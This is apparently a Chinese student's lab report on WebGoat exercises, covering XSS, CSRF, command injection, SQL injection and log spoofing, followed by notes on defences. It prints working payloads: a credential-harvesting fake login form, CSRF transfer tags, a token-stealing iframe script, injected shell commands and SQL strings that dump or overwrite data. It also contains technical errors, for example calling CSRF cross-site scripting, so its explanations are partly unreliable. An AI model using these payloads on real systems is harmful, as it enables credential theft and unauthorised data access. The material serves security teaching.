2017-2018-2 20155319《网络对抗技术》Exp9 :Web安全基础
实践过程
webgoat准备
- 从GitHub上下载jar包(老师的虚拟机中有 无需下载)
- 拷贝到本地,并使用命令
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,出现INFO: Starting ProtocolHandler ["http-bio-8080"]则开启成功,可以看到占用8080端口. - 打开浏览器输入
127.0.0.1:8080/WebGoat
,使用默认名和密码登录 - 在Webgoat中,solution是答案,hints是提示。
(一)XSS攻击
Phishing with XSS
使用XSS和html插入,您的目标是:
将html插入该请求凭据,添加javascript以实际收集凭据,将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要通过本课程,凭证必须发布到捕获者servlet。
- 输入一段简单的代码来实现:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.form.user.value + "&password=" + document.form.pass.value + "";
alert(".....your information was stolen by rhl! User Name = " + document.form.user.value + " Password = " + document.form.pass.value);
}
</script>
<form name="form">
<br>
<br>
<HR>
<H2>Welcome</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:
- 攻击成功!
Stored XSS Attacks
-
储存型XSS攻击:XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容
-
先在title里随便输入某些内容
-
然后在message中输入一串代码
<script>alert(" you have been attacked by rhl !");</script>
Reflected XSS Attacks
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
在服务器端验证所有输入始终是一个很好的做法。当在HTTP响应中使用未经验证的用户输入时,可能发生XSS。在一个反射的XSS攻击中,攻击者可以用攻击脚本制作URL并将其张贴到另一个网站上,发送电子邮件,或者以其他方式让受害者点击它。
- 当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:
- 这时如果我们将带有攻击性的URL作为输入源,同上输入
<script>alert("This website is not safe");</script>
(二)CSRF攻击
跨站脚本攻击:Cross Site Request Forgery
您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。您可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。
- 我们在message框中输入这样一串代码
<img src=\'attack?Screen=277&menu=900&transferFunds=5000\' width=\'1\' height=\'1\'>
注意这里面的Screen和menu的值每个人的电脑可能不一样,可以在当前页面的底端查看。
XSS提升:CSRF Prompt By-Pass
目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求被触发的提示。URL应该指向这个CSRF提示的攻击servlet,通过PASS课程的屏幕、菜单参数和一个额外的参数“TrimeBoover”,它具有一个数字值,比如“5000”来启动一个传输,一个字符串值“确认”完成它。您可以从右边的插图复制该课程的参数,创建“攻击”格式的URL。屏幕= xxx和菜单= yyy和转移资金= ZZZ”。无论谁收到这封电子邮件,恰巧在那时被认证,他的资金将被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查
- 和上一个实验类似,多了一个确认的按钮
- 输入代码
<img src="attack?Screen=272&menu=900&transferFunds=10000">
<img src="attack?Screen=272&menu=900&transferFunds=confirm" >
- 攻击成功
CSRF令牌攻击:CSRF Token By-Pass
类似于CSRF课程,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您需要获取有效的请求令牌。提供转账资金表单的页面包含一个有效的请求令牌。转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds=main”的“攻击”servlet。加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。
- 在前面实验的基础上,使用令牌传输数据
- 输入代码
<script>
var readToken = function(){
var doc = document.getElementById("frame1").contentDocument
var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
alert(token);
var frame2 = document.getElementById("frame2");
frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token;
}
</script>
<iframe id="frame2" ></iframe>
<iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>
(三)SQL注入攻击
SQL注入攻击对任何数据库驱动的站点都构成严重威胁。攻击背后的方法很容易学习,造成的损害可以从相当大到完全的系统妥协。尽管存在这些风险,但互联网上令人难以置信的系统数量易受这种攻击形式的影响。对所有输入数据进行清理,尤其是在OS命令、脚本和数据库查询中使用的数据,以某种其他方式阻止SQL注入的威胁,也是很好的做法。
Command Injection
-
在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,右键BackDoors.help,选
inspect element
显示源代码& netstat -an & ipconfig
-
选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况
数字型注入:Numeric SQL Injection
-
题目要求:下面的表单允许用户查看天气数据。尝试注入导致所有天气数据显示的SQL字符串。现在,您已经成功执行SQL注入,尝试对参数化查询进行相同类型的攻击。
-
加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1:
-
选中Columbia,点Go,出现所有城市的天气:
日志欺骗:Log Spoofing
- 顾名思义,就是添加假的日志信息来迷惑操作系统,目的是让用户名“admin”成功登录。
- 在User Name输入
rhl%0d%0aLogin Succeeded for username: admin
,%0d是空格,%0a是换行 - 点击登录出现两行,一行提示rhl登录失败,另一行提示admin登录成功,这些信息就会被保存到日志里了。
字符串注入:String SQL Injection
- 这里和之前一样,基于select语句构造SQL注入字符串,在文本框中输入
\' or 1=1 --
- 第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。将一条语句被强行拆分成为两条语句。
- 点Go,攻击成功
LAB:SQL Injection(Stage 1:String SQL Injection)
-
以用户larry登录,在密码栏中输入
\' or 1=1 --
-
查看网页代码后发现这里设定的长度不够。然后进行修改:
-
成功~
SQL Injection(Stage 3:Numeric SQL Injection)
-
跟之前是一样的方法,然后点击ViewProfile可以浏览员工信息:
-
使用inspect分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为
101 or 1=1 order by salary desc --
-
可以查看到老板的信息:
Database Backdoors
- 先输一个101,得到了该用户的信息
- 输入注入语句:
101; update employee set Password=000
遇到问题
q:
- 点击restart即可。可能是加载题目问题,具体不太清楚...
实验问题回答
- SQL注入攻击原理,如何防御
- 程序对用户输入数据的合法性没有判断就直接插入查询语句,攻击者就可以添加额外的SQL语句或使用注释字符得到额外的信息
- 对输入的字符串进行处理,筛除特殊字符
- 普通用户与系统管理员用户的权限要有严格的区分
- XSS攻击的原理,如何防御
- 表单提交的时候进行特殊字符的检测
- 对输入框做长度限制
- 在后台对数据进行过滤
- CSRF攻击原理,如何防御
- CSRF是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。一般存在XSS漏洞的网站,也极有可能存在CSRF漏洞。
- 使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。
- 将提交方法改为post
- 定期清理cookie
实验感受
最后一次实验,做完特别有感觉。每个实验联系过程都很有趣,想要深入的研究一下,希望以后有时间可以把上面的题目都做一遍!也遇到了很多问题,这个软件都是英文版本,所以用起来很费劲,实在不行就只能百度翻译了...